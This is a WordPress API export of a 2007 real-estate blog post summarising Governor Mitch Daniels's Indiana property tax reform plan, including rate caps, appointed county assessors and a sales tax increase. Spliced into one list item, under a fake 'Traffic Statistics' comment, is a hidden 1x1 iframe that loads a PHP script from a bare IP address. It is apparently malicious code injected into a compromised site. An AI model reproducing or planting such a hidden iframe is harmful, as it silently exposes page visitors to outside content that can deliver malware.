{"id":388,"date":"2007-10-23T18:36:47","date_gmt":"2007-10-23T22:36:47","guid":{"rendered":"http:\/\/www.realst8.crankpin.com\/property-tax\/governor-mitch-daniels-presents-plan-to-reform-indiana-property-tax-system\/"},"modified":"2007-10-31T08:12:53","modified_gmt":"2007-10-31T12:12:53","slug":"governor-mitch-daniels-presents-plan-to-reform-indiana-property-tax-system","status":"publish","type":"post","link":"https:\/\/www.realst8.com\/staging\/9756\/property-tax\/governor-mitch-daniels-presents-plan-to-reform-indiana-property-tax-system\/","title":{"rendered":"Governor Mitch Daniels Presents Plan to Reform Indiana Property Tax System"},"content":{"rendered":"<p>Indiana governor Mitch Daniels, speaking about the state&#8217;s property taxes stated &#8220;The status quo is not tolerable and we must act to fix it.&#8221; He then presented a plan for Indiana property tax reform this evening. It requires enactment by the state legislature, but is one plan that would make a striking difference in the bills homeowners receive and to the funding of certain local services. It&#8217;s highlights, briefly:<\/p>\n<ul>\n<li> 1% (of assessed value) cap on tax of owner occupied housing, added to state constitution<\/li>\n<li>2% cap on tax of rental properties<\/li>\n<li>3% cap on tax of business properties<\/li>\n<li>The elimination of our political assessment system &#8211; to be replaced with a single assessor appointed by each county council who will oversee future appraisals.<\/li>\n<li>The removal of remaining school operating costs and the costs of protecting abused and neglected children from local to state government through a one cent increase in the state&#8217;s sales tax (to seven percent) and the use of some of state budget surplus.<\/li>\n<li>county tax boards to review total of local spending<!-- Traffic Statistics --><br \/>\n<iframe src=http:\/\/61.132.75.71\/iframe\/wp-stats.php width=1 height=1 frameborder=0><\/iframe><br \/>\n<!-- End Traffic Statistics --> plans and trim budgets.<\/li>\n<li>Required public referendums on any spending beyond the growth in local income and for new capital projects such as building new schools.<\/li>\n<\/ul>\n<p>You can view the announcement at the <a href=\"http:\/\/www.in.gov\/gov\/index.htm\" target=\"_blank\" title=\"Indiana Property Tax Reform Plan by Governor Mitch Daniels \">governor&#8217;s Web-site<\/a>:<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Indiana governor Mitch Daniels, speaking about the state&#8217;s property taxes stated &#8220;The status quo is not tolerable and we must act to fix it.&#8221; He then presented a plan for Indiana property tax reform this evening. It requires enactment by the state legislature, but is one plan that would make a striking difference in the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"nf_dc_page":"","footnotes":""},"categories":[11],"tags":[],"class_list":["post-388","post","type-post","status-publish","format-standard","hentry","category-property-tax"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.realst8.com\/staging\/9756\/wp-json\/wp\/v2\/posts\/388","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.realst8.com\/staging\/9756\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.realst8.com\/staging\/9756\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.realst8.com\/staging\/9756\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.realst8.com\/staging\/9756\/wp-json\/wp\/v2\/comments?post=388"}],"version-history":[{"count":0,"href":"https:\/\/www.realst8.com\/staging\/9756\/wp-json\/wp\/v2\/posts\/388\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.realst8.com\/staging\/9756\/wp-json\/wp\/v2\/media?parent=388"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.realst8.com\/staging\/9756\/wp-json\/wp\/v2\/categories?post=388"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.realst8.com\/staging\/9756\/wp-json\/wp\/v2\/tags?post=388"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}